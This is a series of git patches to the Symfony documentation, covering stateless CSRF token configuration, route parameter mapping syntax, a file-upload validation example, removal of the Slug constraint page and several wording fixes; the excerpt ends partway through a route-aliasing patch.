Date: Sat, 17 May 2025 09:41:44 +0300
Subject: [PATCH 5636/5766] Changed text to mention one Product object instead
 of many

The getOneOrNullResult will not return multiple results.
---
 doctrine/associations.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 8dd9aa7f36b..2279d02a851 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -501,7 +501,7 @@ following method to the ``ProductRepository`` class::
         }
     }
 
-This will *still* return an array of ``Product`` objects. But now, when you call
+This will *still* return a ``Product`` object. But now, when you call
 ``$product->getCategory()`` and use that data, no second query is made.
 
 Now, you can use this method in your controller to query for a ``Product``

From 4579583cb6304e707413f0d4d5abaa1454572231 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Tue, 13 May 2025 14:04:30 +0200
Subject: [PATCH 5637/5766] [Security] Tell about stateless CSRF protection

---
 http_cache/varnish.rst                |   2 +-
 reference/configuration/framework.rst |  59 ++++++++-
 security/csrf.rst                     | 184 ++++++++++++++++++++++++--
 session.rst                           |   2 +-
 4 files changed, 233 insertions(+), 14 deletions(-)

diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst
index a9bb668c100..6fcb7fd766b 100644
--- a/http_cache/varnish.rst
+++ b/http_cache/varnish.rst
@@ -62,7 +62,7 @@ If you know for sure that the backend never uses sessions or basic
 authentication, have Varnish remove the corresponding header from requests to
 prevent clients from bypassing the cache. In practice, you will need sessions
 at least for some parts of the site, e.g. when using forms with
-:doc:`CSRF Protection </security/csrf>`. In this situation, make sure to
+:doc:`stateful CSRF Protection </security/csrf>`. In this situation, make sure to
 :ref:`only start a session when actually needed <session-avoid-start>`
 and clear the session when it is no longer needed. Alternatively, you can look
 into :ref:`caching pages that contain CSRF protected forms <caching-pages-that-contain-csrf-protected-forms>`.
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 599cbb0ba04..8fec2678c8d 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -805,8 +805,6 @@ csrf_protection
 
     For more information about CSRF protection, see :doc:`/security/csrf`.
 
-.. _reference-csrf_protection-enabled:
-
 enabled
 .......
 
@@ -854,6 +852,42 @@ If you're using forms, but want to avoid starting your session (e.g. using
 forms in an API-only website), ``csrf_protection`` will need to be set to
 ``false``.
 
+stateless_token_ids
+...................
+
+**type**: ``array`` **default**: ``[]``
+
+The list of CSRF token ids that will use stateless CSRF protection.
+
+.. versionadded:: 7.2
+
+    This option was added in Symfony 7.2 to aid in configuring stateless CSRF protection.
+
+check_header
+............
+
+**type**: ``integer`` or ``bool`` **default**: ``false``
+
+Whether to check the CSRF token in a header in addition to a cookie when using stateless protection.
+Can be set to ``2`` (the value of the ``CHECK_ONLY_HEADER`` constant on the
+:class:`Symfony\\Component\\Security\\Csrf\\SameOriginCsrfTokenManager` class) to check only the header
+and not the cookie.
+
+.. versionadded:: 7.2
+
+    This option was added in Symfony 7.2 to aid in configuring stateless CSRF protection.
+
+cookie_name
+...........
+
+**type**: ``string`` **default**: ``csrf-token``
+
+The name of the cookie (and header) to use for the double-submit when using stateless protection.
+
+.. versionadded:: 7.2
+
+    This option was added in Symfony 7.2 to aid in configuring stateless CSRF protection.
+
 .. _config-framework-default_locale:
 
 default_locale
@@ -1164,15 +1198,32 @@ settings is configured.
 
     For more details, see :doc:`/forms`.
 
-.. _reference-form-field-name:
+csrf_protection
+...............
 
 field_name
-..........
+''''''''''
 
 **type**: ``string`` **default**: ``_token``
 
 This is the field name that you should give to the CSRF token field of your forms.
 
+field_attr
+''''''''''
+
+**type**: ``array`` **default**: ``['data-controller' => 'csrf-protection']``
+
+This is the HTML attributes that should be added to the CSRF token field of your forms.
+
+token_id
+''''''''
+
+**type**: ``string`` **default**: ``null``
+
+This is the CSRF token id that should be used for validating the CSRF tokens of your forms.
+Note that this setting applies only to autoconfigured form types, which usually means only
+to your own form types and not to form types registered by third-party bundles.
+
 fragments
 ~~~~~~~~~
 
diff --git a/security/csrf.rst b/security/csrf.rst
index 772b503ec39..2e7369d170f 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -34,6 +34,10 @@ unique tokens added to forms as hidden fields. The legit server validates them t
 ensure that the request originated from the expected source and not some other
 malicious website.
 
+Anti-CSRF tokens can be managed either in a stateful way: they're put in the
+session and are unique for each user and for each kind of action, or in a
+stateless way: they're generated on the client-side.
+
 Installation
 ------------
 
@@ -85,14 +89,14 @@ for more information):
             ;
         };
 
-The tokens used for CSRF protection are meant to be different for every user and
-they are stored in the session. That's why a session is started automatically as
-soon as you render a form with CSRF protection.
+By default, the tokens used for CSRF protection are stored in the session.
+That's why a session is started automatically as soon as you render a form
+with CSRF protection.
 
 .. _caching-pages-that-contain-csrf-protected-forms:
 
-Moreover, this means that you cannot fully cache pages that include CSRF
-protected forms. As an alternative, you can:
+This leads to many strategies to help with caching pages that include CSRF
+protected forms, among them:
 
 * Embed the form inside an uncached :doc:`ESI fragment </http_cache/esi>` and
   cache the rest of the page contents;
@@ -101,6 +105,9 @@ protected forms. As an alternative, you can:
   load the CSRF token with an uncached AJAX request and replace the form
   field value with it.
 
+The most effective way to cache pages that need CSRF protected forms is to use
+stateless CSRF tokens, see below.
+
 .. _csrf-protection-forms:
 
 CSRF Protection in Symfony Forms
@@ -183,6 +190,7 @@ method of each form::
                 'csrf_field_name' => '_token',
                 // an arbitrary string used to generate the value of the token
                 // using a different string for each form improves its security
+                // when using stateful tokens (which is the default)
                 'csrf_token_id'   => 'task_item',
             ]);
         }
@@ -190,7 +198,7 @@ method of each form::
         // ...
     }
 
-You can also customize the rendering of the CSRF form field creating a custom
+You can also customize the rendering of the CSRF form field by creating a custom
 :doc:`form theme </form/form_themes>` and using ``csrf_token`` as the prefix of
 the field (e.g. define ``{% block csrf_token_widget %} ... {% endblock %}`` to
 customize the entire form field contents).
@@ -221,7 +229,7 @@ generate a CSRF token in the template and store it as a hidden form field:
 .. code-block:: html+twig
 
     <form action="{{ url('admin_post_delete', { id: post.id }) }}" method="post">
-        {# the argument of csrf_token() is an arbitrary string used to generate the token #}
+        {# the argument of csrf_token() is the ID of this token #}
         <input type="hidden" name="token" value="{{ csrf_token('delete-item') }}">
 
         <button type="submit">Delete item</button>
@@ -229,7 +237,7 @@ generate a CSRF token in the template and store it as a hidden form field:
 
 Then, get the value of the CSRF token in the controller action and use the
 :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::isCsrfTokenValid`
-method to check its validity::
+method to check its validity, passing the same token ID used in the template::
 
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
@@ -302,6 +310,166 @@ targeted parts of the plaintext. To mitigate these attacks, and prevent an
 attacker from guessing the CSRF tokens, a random mask is prepended to the token
 and used to scramble it.
 
+Stateless CSRF Tokens
+---------------------
+
+.. versionadded:: 7.2
+
+    Stateless anti-CSRF protection was introduced in Symfony 7.2.
+
+By default CSRF tokens are stateful, which means they're stored in the session.
+But some token ids can be declared as stateless using the ``stateless_token_ids``
+option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/csrf.yaml
+        framework:
+            # ...
+            csrf_protection:
+                stateless_token_ids: ['submit', 'authenticate', 'logout']
+
+    .. code-block:: xml
+
+        <!-- config/packages/csrf.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:csrf-protection>
+                    <framework:stateless-token-id>submit</framework:stateless-token-id>
+                    <framework:stateless-token-id>authenticate</framework:stateless-token-id>
+                    <framework:stateless-token-id>logout</framework:stateless-token-id>
+                </framework:csrf-protection>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/csrf.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->csrfProtection()
+                ->statelessTokenIds(['submit', 'authenticate', 'logout'])
+            ;
+        };
+
+Stateless CSRF tokens use a CSRF protection that doesn't need the session. This
+means that you can cache the entire page and still have CSRF protection.
+
+When a stateless CSRF token is checked for validity, Symfony verifies the
+``Origin`` and the ``Referer`` headers of the incoming HTTP request.
+
+If either of these headers match the target origin of the application (its domain
+name), the CSRF token is considered valid. This relies on the app being able to
+know its own target origin. Don't miss configuring your reverse proxy if you're
+behind one. See :doc:`/deployment/proxies`.
+
+Using a Default Token ID
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+While stateful CSRF tokens are better seggregated per form or action, stateless
+ones don't need many token identifiers. In the previous example, ``authenticate``
+and ``logout`` are listed because they're the default identifiers used by the
+Symfony Security component. The ``submit`` identifier is then listed so that
+form types defined by the application can use it by default. The following
+configuration - which applies only to form types declared using autofiguration
+(the default way to declare *your* services) - will make your form types use the
+``submit`` token identifier by default:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/csrf.yaml
+        framework:
+            form:
+                csrf_protection:
+                    token_id: 'submit'
+
+    .. code-block:: xml
+
+        <!-- config/packages/csrf.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:form>
+                    <framework:csrf-protection token-id="submit"/>
+                </framework:form>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/csrf.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->form()
+                ->csrfProtection()
+                    ->tokenId('submit')
+            ;
+        };
+
+Forms configured with a token identifier listed in the above ``stateless_token_ids``
+option will use the stateless CSRF protection.
+
+Generating CSRF Token Using Javascript
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In addition to the ``Origin`` and ``Referer`` headers, stateless CSRF protection
+also checks a cookie and a header (named ``csrf-token`` by default, see the
+:ref:`CSRF configuration reference <reference-framework-csrf-protection>`).
+
+These extra checks are part of defense-in-depth strategies provided by the
+stateless CSRF protection. They are optional and they require
+`some JavaScript`_ to be activated. This JavaScript is responsible for generating
+a crypto-safe random token when a form is submitted, then putting the token in
+the hidden CSRF field of the form and submitting it also as a cookie and header.
+On the server-side, the CSRF token is validated by checking the cookie and header
+values. This "double-submit" protection relies on the same-origin policy
+implemented by browsers and is strengthened by regenerating the token at every
+form submission - which prevents cookie fixation issues - and by using
+``samesite=strict`` and ``__Host-`` cookies, which make them domain-bound and
+HTTPS-only.
+
+Note that the default snippet of JavaScript provided by Symfony requires that
+the hidden CSRF form field is either named ``_csrf_token``, or that it has the
+``data-controller="csrf-protection"`` attribute. You can of course take
+inspiration from this snippet to write your own, provided you follow the same
+protocol.
+
+As a last measure, a behavioral check is added on the server-side to ensure that
+the validation method cannot be downgraded: if and only if a session is already
+available, successful "double-submit" is remembered and is then required for
+subsequent requests. This prevents attackers from exploiting potentially reduced
+validation checks once cookie and/or header validation has been confirmed as
+effective (they're optional by default as explained above).
+
+.. note::
+
+    Enforcing successful "double-submit" for every requests is not recommended as
+    as it could lead to a broken user experience. The opportunistic approach
+    described above is preferred because it allows the application to gracefully
+    degrade to ``Origin`` / ``Referer`` checks when JavaScript is not available.
+
 .. _`Cross-site request forgery`: https://en.wikipedia.org/wiki/Cross-site_request_forgery
 .. _`BREACH`: https://en.wikipedia.org/wiki/BREACH
 .. _`CRIME`: https://en.wikipedia.org/wiki/CRIME
+.. _`some JavaScript`: https://github.com/symfony/recipes/blob/main/symfony/stimulus-bundle/2.20/assets/controllers/csrf_protection_controller.js
diff --git a/session.rst b/session.rst
index 0c5348ec9e6..4c14638fc68 100644
--- a/session.rst
+++ b/session.rst
@@ -115,7 +115,7 @@ sessions for anonymous users, you must *completely* avoid accessing the session.
 .. note::
 
     Sessions will also be started when using features that rely on them internally,
-    such as the :ref:`CSRF protection in forms <csrf-protection-forms>`.
+    such as the :ref:`stateful CSRF protection in forms <csrf-protection-forms>`.
 
 .. _flash-messages:
 

From e591c5903958e63eaf1bc7d9b470431b29904f8c Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Mon, 12 May 2025 15:16:58 +0200
Subject: [PATCH 5638/5766] [Routing] Tell about {foo:bar} mapping syntax

---
 doctrine.rst | 31 +++++++++++--------------------
 routing.rst  | 43 ++++++++++++++++++++++++++++++++-----------
 2 files changed, 43 insertions(+), 31 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 171f8a3348a..270c59a08c4 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -680,7 +680,7 @@ will automatically fetch them::
     /**
      * Perform a findOneBy() where the slug property matches {slug}.
      */
-    #[Route('/product/{slug}')]
+    #[Route('/product/{slug:product}')]
     public function showBySlug(Product $product): Response
     {
     }
@@ -694,14 +694,17 @@ Automatic fetching works in these situations:
   *all* of the wildcards in your route that are actually properties
   on your entity (non-properties are ignored).
 
-This behavior is enabled by default on all controllers. If you prefer, you can
-restrict this feature to only work on route wildcards called ``id`` to look for
-entities by primary key. To do so, set the option
-``doctrine.orm.controller_resolver.auto_mapping`` to ``false``.
+The ``{slug:product}`` syntax maps the route parameter named ``slug`` to the
+controller argument named ``$product``. It also hints the resolver to lookup
+by slug when loading the corresponding ``Product`` object from the database.
 
-When ``auto_mapping`` is disabled, you can configure the mapping explicitly for
-any controller argument with the ``MapEntity`` attribute. You can even control
-the ``EntityValueResolver`` behavior by using the `MapEntity options`_ ::
+.. versionadded:: 7.1
+
+    Route parameter mapping was introduced in Symfony 7.1.
+
+You can also configure the mapping explicitly for any controller argument
+with the ``MapEntity`` attribute. You can even control the
+``EntityValueResolver`` behavior by using the `MapEntity options`_ ::
 
     // src/Controller/ProductController.php
     namespace App\Controller;
@@ -812,18 +815,6 @@ control behavior:
         ): Response {
         }
 
-``exclude``
-    Configures the properties that should be used in the ``findOneBy()``
-    method by *excluding* one or more properties so that not *all* are used::
-
-        #[Route('/product/{slug}/{date}')]
-        public function show(
-            #[MapEntity(exclude: ['date'])]
-            Product $product,
-            \DateTime $date
-        ): Response {
-        }
-
 ``stripNull``
     If true, then when ``findOneBy()`` is used, any values that are
     ``null`` will not be used for the query.
diff --git a/routing.rst b/routing.rst
index 24218eaf74c..587a35f269b 100644
--- a/routing.rst
+++ b/routing.rst
@@ -22,8 +22,7 @@ Creating Routes as Attributes
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 PHP attributes allow to define routes next to the code of the
-:doc:`controllers </controller>` associated to those routes. Attributes are
-native in PHP 8 and higher versions, so you can use them right away.
+:doc:`controllers </controller>` associated to those routes.
 
 You need to add a bit of configuration to your project before using them. If your
 project uses :ref:`Symfony Flex <symfony-flex>`, this file is already created for you.
@@ -707,12 +706,6 @@ URL                       Route          Parameters
     matches any uppercase character in any language, ``\p{Greek}`` matches any
     Greek characters, etc.
 
-.. note::
-
-    When using regular expressions in route parameters, you can set the ``utf8``
-    route option to ``true`` to make any ``.`` character match any UTF-8
-    characters instead of just a single byte.
-
 If you prefer, requirements can be inlined in each parameter using the syntax
 ``{parameter_name<requirements>}``. This feature makes configuration more
 concise, but it can decrease route readability when requirements are complex:
@@ -998,7 +991,7 @@ controller action. Instead of ``string $slug``, add ``BlogPost $post``::
     {
         // ...
 
-        #[Route('/blog/{slug}', name: 'blog_show')]
+        #[Route('/blog/{slug:post}', name: 'blog_show')]
         public function show(BlogPost $post): Response
         {
             // $post is the object whose slug matches the routing parameter
@@ -1012,9 +1005,37 @@ this case), the "param converter" makes a database request to find the object
 using the request parameters (``slug`` in this case). If no object is found,
 Symfony generates a 404 response automatically.
 
+The ``{slug:post}`` syntax maps the route parameter named ``slug`` to the controller
+argument named ``$post``. It also hints the "param converter" to lookup by slug
+when loading the corresponding ``BlogPost`` object from the database.
+
+.. versionadded:: 7.1
+
+    Route parameter mapping was introduced in Symfony 7.1.
+
+When more than one entity needs to be derived from route parameters, collisions can happen.
+In the following example, the route tries to define two mappings: one to load an author by
+name, two to load a category by name. But this is not allowed because from the side of the
+route definition, this declares a parameter named "name" twice::
+
+    #[Route('/search-book/{name:author}/{name:category}')]
+
+Such routes should instead be defined using the following syntax::
+
+    #[Route('/search-book/{authorName:author.name}/{categoryName:category.name}')]
+
+This way, the route parameter names are unique (``authorName`` and ``categoryName``) and
+the "param converter" can correctly map them to controller arguments (``$author`` and
+``$category``), loading them both by their name.
+
+.. versionadded:: 7.3
+
+    This more advanced style of route parameter mapping was introduced in Symfony 7.3.
+
+More advanced mappings can be achieved using the ``#[MapEntity]`` attribute.
 Check out the :ref:`Doctrine param conversion documentation <doctrine-entity-value-resolver>`
-to learn about the ``#[MapEntity]`` attribute that can be used to customize the
-database queries used to fetch the object from the route parameter.
+to learn how to customize the database queries used to fetch the object from the route
+parameter.
 
 Backed Enum Parameters
 ~~~~~~~~~~~~~~~~~~~~~~

From 62b7149405447a29a11f8f8e93da99dfb4afac85 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sat, 17 May 2025 17:55:29 +0200
Subject: [PATCH 5639/5766] [Doctrine] Remove redundant example with attribute

---
 doctrine/events.rst | 17 -----------------
 1 file changed, 17 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 9507316eb5b..3f8f93bc2ee 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -304,23 +304,6 @@ listener in the Symfony application by creating a new service for it and
 
 .. configuration-block::
 
-    .. code-block:: php-attributes
-
-        // src/EventListener/SearchIndexer.php
-        namespace App\EventListener;
-
-        use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;
-        use Doctrine\ORM\Event\PostPersistEventArgs;
-
-        #[AsDoctrineListener('postPersist'/*, 500, 'default'*/)]
-        class SearchIndexer
-        {
-            public function postPersist(PostPersistEventArgs $event): void
-            {
-                // ...
-            }
-        }
-
     .. code-block:: yaml
 
         # config/services.yaml

From c6ae20a8fcdd5c5452fe4a3321244773dca04e1e Mon Sep 17 00:00:00 2001
From: Nazar Mammedov <nazarmamedow@gmail.com>
Date: Fri, 16 May 2025 15:54:01 -0400
Subject: [PATCH 5640/5766] Update messenger.rst

Typo fix from "may looks" to "may look"
---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index bf5a8180adc..18c7be913b5 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1372,7 +1372,7 @@ RabbitMQ. Install it by running:
 
     $ composer require symfony/amqp-messenger
 
-The AMQP transport DSN may looks like this:
+The AMQP transport DSN may look like this:
 
 .. code-block:: env
 

From 3474a09b856214ca239af989d221faa05fe69c4a Mon Sep 17 00:00:00 2001
From: "Benjamin D." <benito103e@users.noreply.github.com>
Date: Wed, 16 Apr 2025 11:31:41 +0200
Subject: [PATCH 5641/5766] Highligh 'extensions' instead of 'mimeTypes' for
 File constraint

You should always use the extensions option instead of mimeTypes except if you explicitly don't want to check that the extension of the file is consistent with its content (this can be a security issue).

By default, the extensions option also checks the media type of the file.
---
 controller/upload_file.rst | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index dff5453509a..941bd911a78 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -77,11 +77,8 @@ so Symfony doesn't try to get/set its value from the related entity::
                     'constraints' => [
                         new File([
                             'maxSize' => '1024k',
-                            'mimeTypes' => [
-                                'application/pdf',
-                                'application/x-pdf',
-                            ],
-                            'mimeTypesMessage' => 'Please upload a valid PDF document',
+                            'extensions' => ['pdf'],
+                            'extensionsMessage' => 'Please upload a valid PDF document',
                         ])
                     ],
                 ])

From e8128a60528c45de2833c9eb1bf692daf963fadf Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@open.de>
Date: Tue, 20 May 2025 08:55:56 +0200
Subject: [PATCH 5642/5766] remove the Slug constraint

---
 reference/constraints/Slug.rst    | 119 ------------------------------
 reference/constraints/map.rst.inc |   1 -
 2 files changed, 120 deletions(-)
 delete mode 100644 reference/constraints/Slug.rst

diff --git a/reference/constraints/Slug.rst b/reference/constraints/Slug.rst
deleted file mode 100644
index 2eb82cd9c10..00000000000
--- a/reference/constraints/Slug.rst
+++ /dev/null
@@ -1,119 +0,0 @@
-Slug
-====
-
-.. versionadded:: 7.3
-
-    The ``Slug`` constraint was introduced in Symfony 7.3.
-
-Validates that a value is a slug. By default, a slug is a string that matches
-the following regular expression: ``/^[a-z0-9]+(?:-[a-z0-9]+)*$/``.
-
-.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
-
-==========  ===================================================================
-Applies to  :ref:`property or method <validation-property-target>`
-Class       :class:`Symfony\\Component\\Validator\\Constraints\\Slug`
-Validator   :class:`Symfony\\Component\\Validator\\Constraints\\SlugValidator`
-==========  ===================================================================
-
-Basic Usage
------------
-
-The ``Slug`` constraint can be applied to a property or a getter method:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            #[Assert\Slug]
-            protected string $slug;
-        }
-
-    .. code-block:: yaml
-
-        # config/validator/validation.yaml
-        App\Entity\Author:
-            properties:
-                slug:
-                    - Slug: ~
-
-    .. code-block:: xml
-
-        <!-- config/validator/validation.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
-
-            <class name="App\Entity\Author">
-                <property name="slug">
-                    <constraint name="Slug"/>
-                </property>
-            </class>
-        </constraint-mapping>
-
-    .. code-block:: php
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-        use Symfony\Component\Validator\Mapping\ClassMetadata;
-
-        class Author
-        {
-            // ...
-
-            public static function loadValidatorMetadata(ClassMetadata $metadata): void
-            {
-                $metadata->addPropertyConstraint('slug', new Assert\Slug());
-            }
-        }
-
-Examples of valid values:
-
-* foobar
-* foo-bar
-* foo123
-* foo-123bar
-
-Uppercase characters would result in an violation of this constraint.
-
-Options
--------
-
-``regex``
-~~~~~~~~~
-
-**type**: ``string`` default: ``/^[a-z0-9]+(?:-[a-z0-9]+)*$/``
-
-This option allows you to modify the regular expression pattern that the input
-will be matched against via the :phpfunction:`preg_match` PHP function.
-
-If you need to use it, you might also want to take a look at the :doc:`Regex constraint <Regex>`.
-
-``message``
-~~~~~~~~~~~
-
-**type**: ``string`` **default**: ``This value is not a valid slug``
-
-This is the message that will be shown if this validator fails.
-
-You can use the following parameters in this message:
-
-=================  ==============================================================
-Parameter          Description
-=================  ==============================================================
-``{{ value }}``    The current (invalid) value
-=================  ==============================================================
-
-.. include:: /reference/constraints/_groups-option.rst.inc
-
-.. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index c2396ae3af7..06680e42207 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -33,7 +33,6 @@ String Constraints
 * :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
 * :doc:`PasswordStrength </reference/constraints/PasswordStrength>`
 * :doc:`Regex </reference/constraints/Regex>`
-* :doc:`Slug </reference/constraints/Slug>`
 * :doc:`Twig </reference/constraints/Twig>`
 * :doc:`Ulid </reference/constraints/Ulid>`
 * :doc:`Url </reference/constraints/Url>`

From 88a7eb25c60453e95dd9cf782238f2855b9e4738 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 May 2025 09:17:27 +0200
Subject: [PATCH 5643/5766] Minor tweaks

---
 doctrine.rst |  8 ++++----
 routing.rst  | 23 ++---------------------
 2 files changed, 6 insertions(+), 25 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 270c59a08c4..a55ff8fe600 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -695,16 +695,16 @@ Automatic fetching works in these situations:
   on your entity (non-properties are ignored).
 
 The ``{slug:product}`` syntax maps the route parameter named ``slug`` to the
-controller argument named ``$product``. It also hints the resolver to lookup
-by slug when loading the corresponding ``Product`` object from the database.
+controller argument named ``$product``. It also hints the resolver to look up
+the corresponding ``Product`` object from the database using the slug.
 
 .. versionadded:: 7.1
 
     Route parameter mapping was introduced in Symfony 7.1.
 
 You can also configure the mapping explicitly for any controller argument
-with the ``MapEntity`` attribute. You can even control the
-``EntityValueResolver`` behavior by using the `MapEntity options`_ ::
+using the ``MapEntity`` attribute. You can even control the behavior of the
+``EntityValueResolver`` by using the `MapEntity options`_ ::
 
     // src/Controller/ProductController.php
     namespace App\Controller;
diff --git a/routing.rst b/routing.rst
index 587a35f269b..810c753ec3a 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1006,32 +1006,13 @@ using the request parameters (``slug`` in this case). If no object is found,
 Symfony generates a 404 response automatically.
 
 The ``{slug:post}`` syntax maps the route parameter named ``slug`` to the controller
-argument named ``$post``. It also hints the "param converter" to lookup by slug
-when loading the corresponding ``BlogPost`` object from the database.
+argument named ``$post``. It also hints the "param converter" to look up the
+corresponding ``BlogPost`` object from the database using the slug.
 
 .. versionadded:: 7.1
 
     Route parameter mapping was introduced in Symfony 7.1.
 
-When more than one entity needs to be derived from route parameters, collisions can happen.
-In the following example, the route tries to define two mappings: one to load an author by
-name, two to load a category by name. But this is not allowed because from the side of the
-route definition, this declares a parameter named "name" twice::
-
-    #[Route('/search-book/{name:author}/{name:category}')]
-
-Such routes should instead be defined using the following syntax::
-
-    #[Route('/search-book/{authorName:author.name}/{categoryName:category.name}')]
-
-This way, the route parameter names are unique (``authorName`` and ``categoryName``) and
-the "param converter" can correctly map them to controller arguments (``$author`` and
-``$category``), loading them both by their name.
-
-.. versionadded:: 7.3
-
-    This more advanced style of route parameter mapping was introduced in Symfony 7.3.
-
 More advanced mappings can be achieved using the ``#[MapEntity]`` attribute.
 Check out the :ref:`Doctrine param conversion documentation <doctrine-entity-value-resolver>`
 to learn how to customize the database queries used to fetch the object from the route

From d71927f9e9eb83a697416e76f5928af85bbbe38a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 May 2025 09:21:53 +0200
Subject: [PATCH 5644/5766] [Routing] Readd the 7.3 docs about advance param
 mapping

---
 routing.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/routing.rst b/routing.rst
index 5df9694296d..47a3e9f3190 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1020,6 +1020,25 @@ corresponding ``BlogPost`` object from the database using the slug.
 
     Route parameter mapping was introduced in Symfony 7.1.
 
+When mapping multiple entities from route parameters, name collisions can occur.
+In this example, the route tries to define two mappings: one for an author and one
+for a category; both using the same ``name`` parameter. This isn't allowed because
+the route ends up declaring ``name`` twice::
+
+    #[Route('/search-book/{name:author}/{name:category}')]
+
+Such routes should instead be defined using the following syntax::
+
+    #[Route('/search-book/{authorName:author.name}/{categoryName:category.name}')]
+
+This way, the route parameter names are unique (``authorName`` and ``categoryName``),
+and the "param converter" can correctly map them to controller arguments (``$author``
+and ``$category``), loading them both by their name.
+
+.. versionadded:: 7.3
+
+    This more advanced style of route parameter mapping was introduced in Symfony 7.3.
+
 More advanced mappings can be achieved using the ``#[MapEntity]`` attribute.
 Check out the :ref:`Doctrine param conversion documentation <doctrine-entity-value-resolver>`
 to learn how to customize the database queries used to fetch the object from the route

From a28b614c27bdca774025babeca5f8393a318ff86 Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@proton.me>
Date: Tue, 25 Feb 2025 10:04:59 +0100
Subject: [PATCH 5645/5766] [Routing] Clarify route aliases examples with
 explicit route names

---
 routing.rst | 123 ++++++++++++++++++++++++++++++++++++++++++----------
 1 file changed, 100 insertions(+), 23 deletions(-)

diff --git a/routing.rst b/routing.rst
index a41b9bba6a6..18a25dd3018 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1336,15 +1336,18 @@ A possible solution is to change the parameter requirements to be more permissiv
 Route Aliasing
 --------------
 
-Route alias allow you to have multiple name for the same route:
+Route alias allows you to have multiple names for the same route
+and can be used to provide backward compatibility for routes that
+have been renamed. Let's say you have a route called ``product_show``:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
         # config/routes.yaml
-        new_route_name:
-            alias: original_route_name
+        product_show:
+            path: /product/{id}
+            controller: App\Controller\ProductController::show
 
     .. code-block:: xml
 
@@ -1355,7 +1358,7 @@ Route alias allow you to have multiple name for the same route:
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <route id="new_route_name" alias="original_route_name"/>
